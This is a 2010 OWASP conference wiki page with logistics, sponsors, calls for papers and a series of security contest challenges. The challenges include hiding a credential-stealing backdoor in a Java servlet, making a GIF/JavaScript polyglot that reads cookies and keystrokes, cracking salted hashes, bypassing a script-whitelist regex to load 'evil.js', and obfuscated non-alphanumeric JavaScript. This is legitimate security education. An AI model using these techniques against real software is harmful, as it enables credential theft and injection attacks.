'''How to get there''': Subway to "Slussen" (2 stops from "T-centralen"), best exit towards "Götgatan". Walk upwards but take the first left to "Hökens gata". Straight up on that one.<br><br />
'''How to get there + short sightseeing''': Walk from "T-centralen" along "Drottninggatan" towards Old Town, then towards Slussen and Götgatan. Takes about 30 minutes.<br><br />
<br />
Hope to meet you there!<br />
<br />
== Gala Dinner at City Hall, Wednesday, June 23 ==<br />
All two-day conference attendees including sponsors are welcome to the official AppSec Gala Dinner at Stockholm City Hall on Wednesday June 23rd. We start with a drink at 6:30 pm and sit down for a three course dinner with entertainment at 7 pm. Don't be late.<br />
<br />
'''What''': Gala dinner, three course dinner with entertainment<br><br />
'''Clothes''': Nice pants/trousers + shirt or a suit is appropriate for men. Women have so many more choices so we opt-out of any suggestions. :)<br><br />
'''When''': 6:30 pm CEST<br><br />
'''Where''': City Hall, Ragnar Östbergs plan 1 [http://maps.google.se/maps?um=1&ie=UTF-8&q=stadshuset&fb=1&gl=se&hq=stadshuset&hnear=Stockholm&cid=0,0,15456533754099492758&ei=t8wYTJ7IGd6jOJqd6aEL&sa=X&oi=local_result&ct=image&resnum=1&ved=0CB0QnwIwAA Google Maps]<br><br />
'''How to get there''': Walk from Central Station / "T-centralen"). Takes about 10 minutes. Or take a taxi/cab and tell the driver "City Hall, please"<br><br />
<br />
Whatever you do, don't skip the gala dinner!<br />
<br />
==== Venue ====<br />
<br />
The venue for both training and conference is Aula Magna at Stockholm University.<br />
<br />
'''Address''' (for instance for deliveries):<br><br />
Aula Magna<br><br />
Stockholms universitet<br><br />
Frescativägen 6<br><br />
SE-106 91 Stockholm<br><br />
Sweden<br><br />
<br />
[[Image:AppSec Research 2010 Aula Magna.jpg]] <br />
<br />
==== Sponsoring ====<br />
<center><br />
[[Image:AppSec Research 2010 Microsoft diamond sponsor.jpg|250px|Microsoft - Diamond Sponsor]] [[Image:AppSec Research 2010 Google 20k sponsor.jpg|150px|Google - Dinner Party and Expo Sponsor]] [[Image:Portwise logo.png|130px|PortWise - Gold and Badge Sponsor]] [[Image:Cybercom logo.png|100px|Cybercom - Gold Sponsor]] [[Image:Fortify logo AppSec Research 2010.png|120px|Fortify - Gold Sponsor]] [[Image:Omegapoint logo.png|110px|Omegapoint - Gold Sponsor]] [[Image:Mnemonic logo.png|100px|Mnemonic - Silver Sponsor]] [[Image:AppSec Research 2010 sponsor Nixu logo.jpg|100px|NIXU - Silver Sponsor]] [[Image:Hps_logo.png|140px|High Performance Systems - Silver Sponsor]] [[Image:AppSec Research 2010 sponsor F5 logo.jpg|70px|F5 - Silver Sponsor]] [[Image:AppSec Research 2010 sponsor Imperva logo.jpg|100px|Imperva - Silver Sponsor]] [[Image:AppSec_Research_2010_sponsor_Promon_logo.jpg|100px|Promon - Silver Sponsor]] [[Image:IIS logo.png|100px|Stiftelsen för Internetinfrastruktur - Lunch Sponsor]] [[Image:MyNethouse logo.png|100px|MyNethouse - Coffee Break Sponsor]] [[Image:AppSec Research 2010 Help Net Security sponsor.jpg|100px|Help Net Security - Media Sponsor]] [[Image:TrustwaveLogo.jpg|100px|Trustwave - Notepad sponsor]]<br />
</center> <br />
We are still welcoming sponsors for OWASP AppSec Research 2010. Take the opportunity to support this year's major appsec event in Europe! The full sponsoring program is available as pdfs: <br />
<br />
Sponsoring program in English:&nbsp;[[Image:OWASP Sponsorship AppSec Research 2010 (eng).pdf]] <br />
<br />
Sponsoring program in Swedish:&nbsp;[[Image:OWASP Sponsorship AppSec Research 2010 (swe).pdf]] <br />
<br />
==== Challenges ====<br />
<br />
=== Countdown Challenges -- Free Tickets to Win! ===<br />
<br />
There will be a challenge posted on the conference wiki page the 21st every month up until the event. The winner will get free entrance to the conference. Be sure to sign up for [https://lists.owasp.org/mailman/listinfo/appsec_eu_2010 the conference mailing list] to get a monthly reminder.<br />
<br />
== AppSec Research Final Challenge: Internet Treasure Hunt ==<br />
<br />
It's May 21st, one month to AppSec Research 2010, and '''the last chance to win a free ticket''' to this year's number one conference in appsec.<br />
<br />
<br />
'''The Treasure Hunt in a Nutshell'''<br><br />
Your mission is to find several small AppSec Research logotypes hidden among the websites of our sponsors and hosts. Every logo found is associated with a keyword (a dictionary word) in some way. When you've found all the keywords you email them to us.<br />
<br />
[[Image:Owasp_appsec_research_2010_logo_by_daniel_kozlowski.jpg|40px|OWASP AppSec Research 2010 logo by Daniel Kozlowski]]<br />
<br />
<br />
'''Instructions'''<br><br />
* Please don't do anything malicious during your hunt. And don't produce considerable load on the websites. You should be able to find the keywords anyway :).<br />
* To check if you found all keywords you compare the md5 of all keywords concatenated in alphabetical order with this hash: 1a7b54ba9cee6cccd9890e7800b83208<br />
* You can calculate the hash by doing the following in a shell: echo "Keywords concatenated in alphabetical order" | md5<br />
* To ensure your hash function produces the same as our you can try: echo "owasp" | md5 ... which should result in the hash 2bdce47b1a6c527b134d4b658b033702<br />
<br />
<br />
'''How to Win'''<br><br />
To win you email all keywords (not the hash) concatenated in alphabetical order to stefan dot pettersson at owasp dot org. Stefan will let you know if you were the first one with the correct answer!<br />
<br />
<br />
'''Example:'''<br><br />
* You found three logos and the keywords were: golf, king, apple<br />
* You calculate the hash by doing: echo "applegolfking" | md5<br />
* If the hash matches 1a7b54ba9cee6cccd9890e7800b83208 you email applegolfking to Stefan.<br />
<br />
Let the best hunter win!<br />
<br />
== AppSec Research Challenge 11: Share Your OWASP AppSec Postcards ==<br />
<br />
Here's the second last chance to win a free ticket to the conference. This time we challenge you to create OWASP AppSec Research Postcards (digital ones of course) from nice places throughout the world hold a paper like the picture below.<br />
<br />
[[Image:OWASP_AppSec_Research_2010_Postcard_Challenge.jpg]]<br />
<br />
== How to Win ==<br />
Create and share the most "digital postcards" showing you, the conference logo on paper ([http://www.owasp.org/images/5/52/OWASP_AppSec_Research_2010_Postcard_Challenge.pdf pdf]), and ...<br />
<br />
* Your work office or "computer room" at home: 1 point<br />
* A major city (> 1 million inhabitants) with the city sign "Welcome to ...": 2 points<br />
* On a continent which you don't live: 2 points<br />
* Under water (outside, not in a pool or a bathtub): 2 points<br />
* A capital city with a typical sight, e g The Eiffel Tower in Paris: 3 points<br />
* With someone from our "Who's Who in Security" challenge holding the logo: 3 points<br />
* With an international celebrity holding the logo: 5 points<br />
* 4,000 meters or more above sea level, not flying: 6 points<br />
* With Chuck Norris, Mr. T, or Paris Hilton: 30 points<br />
<br />
You get points for every unique postcard, meaning once under water, once in a specific city, once with a unique celebrity, once per mountain above 4,000 meters etc. If you combine categories you get the sum of the points. Most points by May 20th wins a free conference ticket!<br />
<br />
== How to Compete ==<br />
Share your postcards on http://www.Flickr.com following this example (3 points for Eiffel Tower in Paris):<br />
<br />
* '''Photo''' of you, the conference logo on paper using [http://www.owasp.org/images/5/52/OWASP_AppSec_Research_2010_Postcard_Challenge.pdf this pdf], and the Eiffel Tower in the background<br />
* '''Title''': OWASP Challenge Postcard Paris<br />
* '''Description''': Capital city Paris, typical site The Eiffel Tower, 3 points<br />
* '''Tag''': #AppSecEu<br />
<br />
== AppSec Research Challenge X: Build an Enterprise Java Rootkit ==<br />
<br />
The tenth challenge is here! <br />
<br />
Jeff Williams, chairman of OWASP, gave a very interesting talk at last year's Black Hat US and OWASP AppSec US -- [http://www.blackhat.com/presentations/bh-usa-09/WILLIAMS/BHUSA09-Williams-EnterpriseJavaRootkits-PAPER.pdf "Enterprise Java Rootkits -- Hardly Anyone Watches the Developers"]. Now it's time for you to write a rootkit yourself, exploring Jeff's techniques and more. <br />
<br />
'''The Project to Fool'''<br> Your assignment is to be the evil developer who implements and hides a backdoor in a Java servlet. We've implemented a very simple login web application and exported the Eclipse project ([http://www.owasp.org/images/1/16/OWASP_AppSec_Research_2010_Challenge_X.zip zip here]). We will use this project to evaluate your submissions. It's a simple servlet/jsp project that we deployed on Tomcat 6.0. It even contains an evil output of user credentials to a temp file (not yet hidden though) to get you started. Screenshot from the app and the project structure: <br />
<br />
<br> [[Image:Appsec research 2010 challenge X eclipse project.jpg]] [[Image:Appsec research 2010 challenge X login screen.jpg]] <br />
<br />
'''Rules'''<br> <br />
<br />
*You must explain what your changes do (we need to evaluate your rootkit!) <br />
*The original features + look and feel must be preserved <br />
*Your additions should preferably look like security features such as IP whitelisting, logging, anti-CSRF, frequency blocking etc. <br />
*You're only allowed to change the servlet (Login.java), and the gif image (appsec_research_challenge_X.gif) <br />
*You do not have to use the jsps <br />
*The original size of Login.java is 1,856 bytes and it mustn't grow to more than 4,000 bytes <br />
*The gif image mustn't grow in size and should look close enough to the original to fool the committee <br />
*Code should "look" readable, i e not minimized too heavily<br />
<br />
'''How To Win'''<br> The organization committee will evaluate who has been able to hide the most evil stuff while complying to the rules. The more malicious functionality and the more clever disguise -- the more "points". All submissions must be posted as links or pasted code in [http://sla.ckers.org/forum/read.php?11,33928 this sla.ckers.org thread]. Send an email to john.wilander@owasp.org when you post code or need attention. Deadline April 20. <br />
<br />
<br> <br />
<br />
== AppSec Research Challenge 9: Crack 'Em Hashes (closed) ==<br />
<br />
February's AppSec Research 2010 challenge is about breaking hashed passwords. It starts off easy with the old LM hash and ends with SHA256 and GOST3411. <br />
<br />
[[Image:Owasp appsec research 2010 hash challenge.jpg]] <br />
<br />
'''How To Win'''<br> The first one to publish each broken password gets points according to the table below but at the same time helps the others since the password is the salt of the next hash. So you have to decide -- should you publish your cracked password and collect your points before the others or should you keep it a secret to get a head start cracking the next one? Deadline it March 21st. <br />
<br />
To collect points for a password you must be the first one to publish that broken password on [http://sla.ckers.org/forum/read.php?11,33533 this sla.ckers.org thread]. Please send an email to john.wilander@owasp.org at the same time so we can correct any misunderstandings. For instance we can happen to run into hash collisions, where someone finds another mixed alpha password of max 5 characters that concatenated with the right salt produces the same hash. In such a case we will publish the real password and give points to the one who found the collision. <br />
<br />
The one with the most points on March 21st wins a free ticket to the conference! <br />
<br />
'''Points to Earn'''<br> <br />
<br />
*pwd1 (LM) =&gt; 1 point <br />
*pwd2 (MD2) =&gt; 3 points <br />
*pwd3 (MD4) =&gt; 5 points <br />
*pwd4 (MD5) =&gt; 9 points <br />
*pwd5 (RIPEMD160) =&gt; 15 points <br />
*pwd6 (SHA1) =&gt; 25 points <br />
*pwd7 (SHA256) =&gt; 50 points <br />
*pwd8 (GOST3411) =&gt; 100 points<br />
<br />
'''The Hashes'''<br> Each password comprises of a-zA-Z (mixed alpha) and is max 5 characters long. With salt that means max 10 mixed alpha characters as input to the hash function. All hashes here are in hex format. The Java source code has all the details. The plus operator means string concatenation. <br />
<br />
*LM(pwd1) 0C04DACA901299DBAAD3B435B51404EE <br />
*MD2(pwd2 + pwd1) 16189F5462BF906E9D88CF6F152DE86F <br />
*MD4(pwd3 + pwd2) FA8F46A6D347087D6980C3FA77DD4DE9 <br />
*MD5(pwd4 + pwd3) 425B33D6F60394C897B8413B5C185845 <br />
*RIPEMD160(pwd5 + pwd4) 35F34671D30472D403937820DCABC1C78C837071 <br />
*SHA1(pwd6 + pwd5) AE81A30510B2931921934218636B26A803330EB1 <br />
*SHA256(pwd7 + pwd6) B2FF0269E927C6559804A37590A0688C45DF143F85CEE0E3F239F846B65C9644 <br />
*GOST3411(pwd8 + pwd7) 16CC9F1FF65688E040F5ADA82A41A258FF948769CDA4C4A17D85228A6F358971<br />
<br />
Example: Given that pwd1 is "Win" and pwd2 is "You", the hash 16189F5462BF906E9D88CF6F152DE86F is the result of MD2("YouWin"). Now pwd2 will be the salt when you crack pwd3. <br />
<br />
'''The Source Code'''<br> The source code we've used to produce the hashes is available here [http://www.owasp.org/images/7/79/OwapsAppSecResearch2010HashChallenge.zip zip]. It's Java and all but the LM hash is done with [http://www.bouncycastle.org/latest_releases.html Bouncy Castle 1.4.5]. <br />
<br />
<br> <br />
<br />
== AppSec Research Challenge 8: Construct an OWASP Polyglot (closed) ==<br />
<br />
January's AppSec Research Challenge is to construct an OWASP polyglot, more specifically '''an OWASP logo that also can be run as JavaScript''': <br />
<br />
Show image: &lt;img src="owasp_logo.gif"&gt;<br>Run script: &lt;script src="owasp_logo.gif"&gt;&lt;/script&gt; <br />
<br />
[http://en.wikipedia.org/wiki/Polyglot_(computing) Wikipedia] says: "a ''polyglot'' is a computer program or script written in a valid form of multiple programming languages". This is about as cool as it gets&nbsp;:). <br />
<br />
'''Rules''' <br />
<br />
*Make your polyglot out of the regular OWASP logo in the upper left corner of this wiki (circle with the wasp). <br />
*The file size must not grow. <br />
*Pixel colors in the gif must not differ more than 5 in red, green, or blue. Ex: If a pixel originally had rgb 100,100,100 then 104,95,96 is OK. <br />
*No malicious stuff of course <br />
*When your polyglot is run as JavaScript it should execute as many of the following features as possible, starting from the top:<br />
<br />
#alert(all cookies belonging to the current domain); <br />
#alert(the last keystrokes on the keyboard every ten keystrokes); <br />
#alert(the current time in Stockholm, once every minute); <br />
#A quine. The polyglot outputs its own source code on the HTML page.<br />
<br />
'''How to get started''' <br />
<br />
Jasvir Nagra gave a talk on these kind of polyglots and published a gif/JavaScript polyglot on [http://www.thinkfu.com/blog/gifjavascript-polyglots his blog]. A good starting point is his gif file.&nbsp;Jasvir has also written an extensive article on gif/perl polyglots which explains how to get code into the gif file. Check out [http://search.cpan.org/~jnagra/Perl-Visualize-1.02/Visualize.pm#HOW_IT_ALL_WORKS his guide]. <br />
<br />
'''How to win''' <br />
<br />
Submit your entries in [http://sla.ckers.org/forum/read.php?11,33121 this sla.ckers.org thread]. Either the first complete polyglot or the most complete polyglot wins. We will most probably provide you with a gif checker that validates the color differences. Check the thread.&nbsp; <br />
<br />
== AppSec Research Challenge 7: X-Mas Capture the Flag (closed) ==<br />
<br />
[[Image:AppSec Research 2010 Stocking.gif]] '''Merry Christmas everyone!'''[[Image:AppSec Research 2010 Stocking.gif]] <br />
<br />
It's the 21st and a new AppSec Research Challenge is posted. <br />
<br />
Setting up the AppSec Research 2010 X-mas Challenge was a cooperative effort by the winner of AppSec Research Challenge 3, Mario Heiderich, and Martin Holst Swende. It is a multi-step challenge which involves finding a vulnerability in a web application and locating a hidden message. The winner gets free entrance to next year's conference. Start by subscribing to [https://lists.owasp.org/mailman/listinfo/appsec_eu_2010 the conference mailing list]. Then check the simple rules below and get going. <br />
<br />
'''Rules''': <br />
<br />
*Please do not perform any resource-intensive tests, as the machine is pretty low-end and can be DoS:ed without much effort. <br />
*The computer at the given IP address is the only system involved in this challenge, so please do not perform any tests of neighboring systems. <br />
*Otherwise, you are free to hack away!<br />
<br />
'''Challenge-page''': [http://66.249.7.26 66.249.7.26] <br />
<br />
Discussions, QnA and reports about how far you have made it is welcome at [http://sla.ckers.org/forum/read.php?11,32779 the official sla.ckers thread]. <br />
<br />
Good luck and happy holidays! (And don't forget the submission deadline for the conference -- February 7) <br />
<br />
<br> <br />
<br />
== AppSec Research Challenge 6: Design the Conference Logo (closed) ==<br />
<br />
'''Note''': This challenge is re-opened. Submit by February 21st. <br />
<br />
November's AppSec Research 2010 Challenge asks you to design the conference logotype. So far we have used this: <br />
<br />
[[Image:Appsec research 2010 logo prototype (small).png]] <br />
<br />
... but would like something less "word processor-like". <br />
<br />
'''How to win''' <br />
<br />
*The logo should be suitable for both large printing and small web banners <br />
*If you make a color logo, please submit a b/w version too <br />
*"OWASP AppSec Research 2010" should in some way be part of the logo&nbsp;:)<br />
<br />
'''Copyright?'''<br> By submitting your logo you agree to share it according to [http://creativecommons.org/licenses/by/3.0/legalcode Creative Commons Attributions] and that we credit you in the conference brochure and on the conference wiki but not in all places where we use the logo (i e we will not credit you on banners, sponsoring program, powerpoint presentations etc). <br />
<br />
'''How to submit'''<br> Email jpg + svg to john.wilander [at] owasp.org before Monday December 14th 23:59 [http://www.worldtimeserver.com/current_time_in_UTC.aspx UTC]. The creator of the best logo wins a free ticket to the AppSec Research 2010 conference! <br />
<br />
== AppSec Research Challenge 5: Graphical Effects (closed) ==<br />
<br />
The October OWASP AppSec Research 2010 challenge is over. The winner of a free entrance ticket to next year's AppSec conference in Stockholm is "sirdarckcat" with FireworksIsNotABrowser_v4 (although we like the slightly oversized v6 better). <br />
<br />
The challenge was about '''writing the coolest graphical effect in a 2010 character script'''. <br />
<br />
=== An Example ===<br />
<br />
As an example, copy the script below and paste the script over the URL in the URL bar. <br />
<br />
<nowiki>javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5); void(0)</nowiki> <br />
<br />
As a simple teaser we give these png letters for the script to play with. <br />
<br />
[[Image:AppSec Research 2010 O.png]][[Image:AppSec Research 2010 W.png]][[Image:AppSec Research 2010 A.png]][[Image:AppSec Research 2010 S.png]][[Image:AppSec Research 2010 P.png]] <br />
<br />
=== Rules ===<br />
<br />
*The script should work in Firefox 3.5 (yeah, that means HTML5 and CSS3&nbsp;:) <br />
*Any resource, linked document, script, or image defined on the AppSec Research 2010 wiki page may be loaded/accessed/used <br />
*No requests to any other location is allowed <br />
*No obfuscation is allowed <br />
*The script may only use ASCII <br />
*Max length of the script is 2010 characters <br />
*You have to give your effect an id and a version number (further explanation below) <br />
*Any form of malicious code is of course banned&nbsp;;)<br />
<br />
=== How to Compete ===<br />
<br />
There's an [http://sla.ckers.org/forum/read.php?11,31944 official thread on sla.ckers] were you share your code and thoughts (Worried someone will steal you code? Check the originality bullet below). You can enter as many effects as you like but '''each effect has to have an id and a version number''', e.g. JohnWobbler_v1.3 for version 1.3 of John's Wobbler effect. Deadline is November 14th, 23:59 [http://www.worldtimeserver.com/current_time_in_UTC.aspx UTC]. <br />
<br />
=== Choosing the Winner ===<br />
<br />
Since this is a creative challenge the OC will choose the winner based on the following: <br />
<br />
*'''Originality''' (tweaking someone's code is cool and encouraged but changing a few magic numbers or inverting a function won't make you the winner) <br />
*'''Coolness''' (yeah, you need to convince a few Scandinavian people + Seba and Kate that your script is the coolest)<br />
<br />
Either the OC will choose a winner by ourselves or we choose the top effects and let you guys vote for the winner. <br />
<br />
== AppSec Research Challenge 4: Who's Who in Security? (closed) ==<br />
<br />
September's AppSec Research 2010 Challenge was to identify a number of people that are, in one way or another, known in the security business, by their picture. There were thirteen photos in total, portraiting thirteen different individuals. <br />
<br />
'''The winner of a free ticket to the OWASP AppSec Research conference in 2010 was Thomas Vollstädt''' who submitted the correct solution just one day after the challenge was posted. <br />
<br />
=== The Solution ===<br />
<br />
[[Image:Owasp appsec research 2010 challenge 4 solution.png]] <br />
<br />
=== The Names ===<br />
<br />
Dinis Cruz, Gordon "Fyodor" Lyon, David Litchfield, Dave Aitel, Bruce Schneier, Dave Wichers, Gene Spafford, MafiaBoy, MySpace Samy, Tom Brennan, Halvar Flake, Alex Sotirov, Jeff Williams, Jennifer Granick, Kate Hartmann, Mudge, Lance Spitzner, Dan Kaminsky, Brian Chess, Joanna Rutkowska, Crispin Cowan, Michael Howard, Jay Beale, Ross Anderson, Dawn Song, Robert "rsnake" Hansen, and Solar Designer. <br />
<br />
=== The Pictures ===<br />
<br />
If you'd like to see the original pictures without the names, here's the link: [[http://www.owasp.org/index.php/File:Owasp_appsec_research_2010_challenge_4.png]] <br />
<br />
== AppSec Research Challenge 3: Non-Alphanumeric JavaScript (closed) ==<br />
<br />
The August AppSec Research 2010 Challenge was to create a JavaScript alert("owasp") that pops up the word 'owasp', case-insensitive, without using any alphanumeric characters (0-9a-zA-Z).&nbsp;There was a tremendous activity and we want to thank everyone who participated. The size of the final result was almost a third of the first entry (see chart below). '''Want to check out the winning snippet by .mario? Enter the following in the Firebug console''':&nbsp;<nowiki>ω=[[Ṫ,Ŕ,,É,,Á,Ĺ,Ś,,,Ó,Ḃ]=!''+[!{}]+{}][Ś+Ó+Ŕ+Ṫ],ω()[Á+Ĺ+É+Ŕ+Ṫ](Ó+ω()[Ḃ+Ṫ+Ó+Á]('Á«)'))</nowiki> <br />
<br />
It is based on a few different ideas. First of all, a variable assignment on the form <br />
<br />
<nowiki>[a,b,c,,e]="abcde" // a="a", c="c",e="e"</nowiki> <br />
<br />
Which is performed on the string "truefalse[object Object]" <br />
<br />
<nowiki>[Ṫ,Ŕ,,É,,Á,Ĺ,Ś,,,Ó,Ḃ]=!''+[!{}]+{}]</nowiki> // right-hand side is "truefalse[object Object]" <br />
<br />
Also, the following construction obtains the window.sort-function, which leaks the window-object when called without arguments&nbsp;: <br />
<br />
ω=[]["sort"] //ω is now window.sort <br />
<br />
Therefore, calling ω()["alert"] invokes window.alert. To generate the string "owasp", the string "wasp" can be obtained by calling btoa on the characters <nowiki>"Á«)"</nowiki>. <br />
<br />
This was really a great team effort, and I think a lot of us learned some new tricks. The final winner was .mario. Congratulations! <br />
<br />
[[Image:Appsec research 2010 challenge 3 chart.jpg]] <br />
<br />
=== JavaScript Without Alphanumeric Characters? ===<br />
<br />
It is possible to write valid javascript completely without alphannumeric characters (0-9a-zA-Z). To produce a number, you can instead use for example an empty string, <nowiki>''</nowiki>, interpret it as a boolean with a bang: <nowiki>!''</nowiki> -- which leads to the boolean object true. true, interpreted as a numeric value, equals one. Thus, <br />
<br />
<nowiki>$ = +!''; // $ === 1</nowiki> <br />
<br />
<nowiki>$++;$++; // $ === 3</nowiki> <br />
<br />
In a similar fashion, strings can be created from strings embedded in the language. The boolean object true can be converted to string by concatenation, and then accessed by numeric index to, for example, produce the letter 'e'&nbsp;: <br />
<br />
<nowiki>â = (!''+'')[$] // â[$] === "true"[3] === e</nowiki> <br />
<br />
=== Previous Similar Contest ===<br />
<br />
These two techniques are behind a [http://sla.ckers.org/forum/read.php?24,28687 previous contest at the forum "sla.ckers.org"], where the contest was to create alert(1) with as few non-alphanumeric characters as possible. Currently, the code actually being executed was: <br />
<br />
<nowiki>([],"sort")()["alert"](1) // since ([],"sort")()</nowiki> leaks window object in FF, ==&gt; <nowiki>window["alert"](1)</nowiki> is called, which is another form of <nowiki>window.alert(1)</nowiki> <br />
<br />
The winner, or at least current leading entry is 84 bytes long, and looks like this: <br />
<br />
<nowiki>(Å='',[Į=!(ĩ=!Å+Å)+{}][Į[Š=ĩ[++Å]+ĩ[Å-Å],Č=Å-~Å]+Į[Č+Č]+Š])()[Į[Å]+Į[Å+Å]+ĩ[Č]+Š](Å)</nowiki> <br />
<br />
=== The Challenge ===<br />
<br />
August's challenge was to, in a similar fashion, create an alert("owasp"), case-insensitive, not using any alphanumeric characters. The shortest working code snippet submitted by September 18th 23:59:59 [http://www.worldtimeserver.com/current_time_in_UTC.aspx UTC] won a free ticket. By "working" we meant JavaScript that executes in Firefox/Firebug, not depending on any Firebug DOM variables for execution. <br />
<br />
'''Submissions were made as comments to the [http://owaspsweden.blogspot.com/2009/08/appsec-research-2010-challenge-3.html challenge 3 blogpost on Owasp Sweden].''' Check it out. <br />
<br />
== AppSec Research Challenge 2: OWASP Crossword Puzzle (closed) ==<br />
<br />
July's crossword challenge is over. Many permutations arrived in our inbox but it was tricky to get it completely right. Congratulations to Johannes Dahse and Johan Nilsson who in the end were allowed to join forces to be able to find the correct solution. They win a 50&nbsp;% conference ticket discount each. <br />
<br />
You find the solution below. <br />
<br />
[[Image:Appsec research 2010 challenge 2 solution.gif]] <br />
<br />
== AppSec Research Challenge 1: Input Validation and Regular Expressions (closed) ==<br />
<br />
'''This challenge is over'''. The winner was Partik Nordlén. To see the solution(s), please visit the [https://lists.owasp.org/pipermail/appsec_eu_2010/2009-July/000000.html appsec_eu_2010 mailing list archive]. <br />
<br />
''Some people, when confronted with a problem, think “I know, I'll use regular expressions.” Now they have two problems.''<br> &nbsp; &nbsp; &nbsp; &nbsp; --Jamie Zawinski, in comp.emacs.xemacs <br />
<br />
The 21st of each month up until the conference in June 2010 we'll have a countdown challenge posted here. The winner each month will get a free entrance ticket worth about €300/$400. Be sure to sign up for [https://lists.owasp.org/mailman/listinfo/appsec_eu_2010 the conference mailing list] to get a monthly reminder. <br />
<br />
=== The Challenge ===<br />
<br />
A community is hosted on a very large domain, yahoogle.com. The users of that community all have profiles, where they are allowed to use basic HTML for customization, as well as JavaScript files hosted on the domain. <br />
<br />
All the code for the profile pages are filtered on the server side, and whenever a piece of code containing "&lt;script..." is encountered, the following regular expression is used to validate that the script loaded is hosted on a subdomain of yahoogle.com: <br />
<br />
.*(&lt;script){1}([^&gt;]+)src=('http:\/\/[a-zA-Z]+.yahoogle.com\/scripts\/[0-9A-Za-z]+\.js').*\/&gt; <br />
<br />
Capture group 3 is then also checked against a whitelist of allowed scripts on that domain. The whitelist consists of "http://secure.yahoogle.com" and "http://scripts.yahoogle.com". <br />
<br />
Your task is to formulate a snippet of HTML that goes correctly through the filter and the whitelist, but loads the script "http://insecure.com/evil.js" instead. Also, rework the regular expression to defend against your "attack". <br />
<br />
'''Email your solution to Martin Holst Swende &lt;martin.holst_swende@owasp.org&gt;'''. The first correct answer wins a free ticket to the conference. The free ticket is personal and the judgement of the organizing committee can not be overruled&nbsp;:).<br />
<br />
==== Archive ====<br />
<br />
== Call for Papers and Proposals (closed) ==<br />
<br />
[[Image:AppSec Research 2010 2nd cfp.png]] <br />
<br />
<br> 1. '''Publish or Perish'''. Peer-reviewed 12 page papers to be published in formal proceedings by Springer-Verlag ([http://www.springer.com/lncs Lecture Notes in Computer Science, LNCS]). Presentation slides and video takes will be posted on the OWASP wiki after the conference.<br> 2. '''Demo or Die'''. A demo proposal should consist of a pdf with a 1 page abstract summarizing the matter proposed by the speaker(s) ''and'' 1 page containing demo screenshot(s). Demos will have ordinary speaker slots but the speakers are expected to run a demo during the talk (live coding counts as a demo), not just a slideshow. Presentation slides and video takes will be posted on the OWASP wiki after the conference.<br> 3. '''Present or Repent'''. A presentation proposal should consist of a 2 page extended abstract representing the essential matter proposed by the speaker(s). Presentation slides and video takes will be posted on the OWASP wiki after the conference. <br />
<br />
If you have any questions regarding submissions etc, please email john.wilander@owasp.org. <br />
<br />
=== Topics of Interest ===<br />
<br />
We encourage the publication and presentation of new tools, new methods, empirical data, novel ideas, and lessons learned in the following areas: <br />
<br />
•&nbsp; &nbsp; Web application security<br> • &nbsp; &nbsp;Security aspects of new/emerging web technologies/paradigms (mashups, web 2.0,&nbsp; offline support, etc)<br> •&nbsp; &nbsp; Security in web services, REST, and service oriented architectures<br> •&nbsp; &nbsp; Security in cloud-based services<br> •&nbsp; &nbsp; Security of frameworks (Struts, Spring, ASP.Net MVC etc)<br> •&nbsp; &nbsp; New security features in platforms or languages<br> •&nbsp; &nbsp; Next-generation browser security<br> •&nbsp; &nbsp; Security for the mobile web<br> •&nbsp; &nbsp; Secure application development (methods, processes etc)<br> •&nbsp; &nbsp; Threat modeling of applications<br> •&nbsp; &nbsp; Vulnerability analysis (code review, pentest, static analysis etc)<br> •&nbsp; &nbsp; Countermeasures for application vulnerabilities<br> •&nbsp; &nbsp; Metrics for application security<br> • &nbsp; &nbsp;Application security awareness and education <br />
<br />
=== Submission Deadline and Instructions ===<br />
<br />
'''Update''': Submission deadline for full-papers ("Publish or Perish") has been '''extended to March 7th 23:59''' (Apia, Samoa time) due to numerous requests. Submit your paper to [https://www.easychair.org/login.cgi?a=c01e98d04e4e;iid=20045 AppSec Research 2010 (EasyChair)]. <br />
<br />
Full-paper submissions should be at most 12 pages long and must be in the Springer LNCS style for "Proceedings and Other Multiauthor Volumes". Templates for preparing papers in this style for LaTeX, Word, etc can be downloaded from: http://www.springer.com/computer/lncs?SGWID=0-164-7-72376-0. Full papers must be submitted in a form suitable for anonymous review: '''remove author names and affiliations from the title page, and avoid explicit self-referencing in the text'''. <br />
<br />
Submission for "Demo or Die" and "Present or Repent" closed on February 7th. <br />
<br />
Decision notification: April 7th <br />
<br />
=== Program Committee (for review of full-papers) ===<br />
<br />
• John Wilander, Omegapoint and Linköping University (chair)<br> • Alan Davidson, Stockholm University/Royal Institute of Technology (co-host)<br> • Lieven Desmet, Katholieke Universiteit Leuven<br> • Úlfar Erlingsson, Reykjavík University and Microsoft Research<br> • Martin Johns, University of Passau<br> • Christoph Kern, Google<br> • Engin Kirda, Institute Eurecom<br> • Ulf Lindqvist, SRI International<br> • Benjamin Livshits, Microsoft Research<br> • Sergio Maffeis, Imperial College London<br> • John Mitchell, Stanford University<br> • William Robertson, UC Berkeley<br> • Andrei Sabelfeld, Chalmers UT<br> <br />
<br />
== Call for Training (closed) ==<br />
<br />
(Info kept here for reference)<br> OWASP is currently soliciting training proposals for the OWASP AppSec Research 2010 Conference which will take place at Stockholm University in Sweden, on June 21st through June 24th 2010. There will be training courses on June 21st and 22nd followed by plenary sessions on the 23rd and 24th with three tracks per day. <br />
<br />
We are seeking training proposals on the following topics (in no particular order): <br />
<br />
*Security in Web 2.0, Web Services/XML <br />
*Advanced penetration testing <br />
*Static analysis for security <br />
*Threat modeling of applications <br />
*Secure coding practices <br />
*Security in J2EE/.NET patterns and frameworks <br />
*Application security with ESAPI <br />
*OWASP tools in practice<br />
<br />
We will look favourably on laboration-based/hands-on training. <br />
<br />
=== Submission Deadline and Instructions ===<br />
<br />
Submission '''deadline is Sunday February 7th 23:59''' (Apia, Samoa time). To submit your training proposal please fill out the [[Image:OWASP AppSec Research 2010 Call for Training.docx]] and email it to john.wilander@owasp.org with subject "AppSec Research 2010: Training proposal". <br />
<br />
Upon acceptance you'll be requested to fill out the ''Training Instructor Agreement'' where you'll find details on revenue split etc. The agreement will be reworked but the previous one is here: [[Image:Training Instructor Agreement.doc]]. <br />
<br />
=== Upcoming List of Trainers on OWASP Wiki ===<br />
<br />
